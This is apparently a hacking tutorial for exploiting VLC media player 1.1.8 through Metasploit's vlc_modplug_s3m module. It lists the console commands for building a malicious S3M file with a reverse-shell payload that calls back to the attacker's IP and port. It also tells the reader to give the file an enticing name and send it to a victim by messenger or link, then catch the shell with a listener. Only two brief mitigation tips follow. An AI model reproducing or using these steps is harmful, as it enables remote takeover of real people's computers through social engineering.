Type : Tutorial
Level : Medium
Victim O.S : Windows XP SP3
Victim VLC Version : 1.1.8
Just surfing around and found that VLC 1.1.8 have vulnerability that can be exploited. If you still didn't know about VLC media player, here I copy from their original website videolan.org:
VLC is a free and open source cross-platform multimedia player and framework that plays most multimedia files as well as DVD, Audio CD, VCD, and various streaming protocols.
this exploit we will perform using Metasploit framework, and according to metasploit.com website about this vulnerability :
This module exploits an input validation error in libmod_plugin as included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9 are affected. By creating a malicious S3M file, a remote attacker could execute arbitrary code. Although other products that bundle libmodplug may be vulnerable, this module was only tested against VLC.
2. Operating System(I'm using Backtrack 5 R1 in this tutorial and Metasploit Framework already included inside)
1. Open your metasploit console by typing msfconsole and then use the vlc_modplug_s3m exploit with windows meterpreter payload.
use exploit/windows/fileformat/vlc_modplug_s3m set payload windows/shell_reverse_tcp
2. To view the available options, you can run show options command. I've set up my malicious s3m file with the configuration like the picture below.
Information : set filename sora-aoi.s3m --> social engineering filename in order to make victim curious set lhost 192.168.8.92 --> your localhost / attacker machine set lport 443 --> your local port / attacker local port /root/.msf4/data/exploits/sora-aoi.s3m --> malicious file location. copy the file and send it to your victim
3. The next step before we send the malicious s3m file we should set up a listener to grab connection when victim opened the malicious s3m file in their VLC media player.
4. Everything has been set up so nice until this way, the next step we need to send the s3m file to our victim. You can send the file via messenger, url, or anything…improve yourself..
5. After victim opened our malicious s3m file, we got the shell_reverse_tcp payload as shown below.
1. Always update your software to the latest version
2. Install personal firewall
Hope it's useful 🙂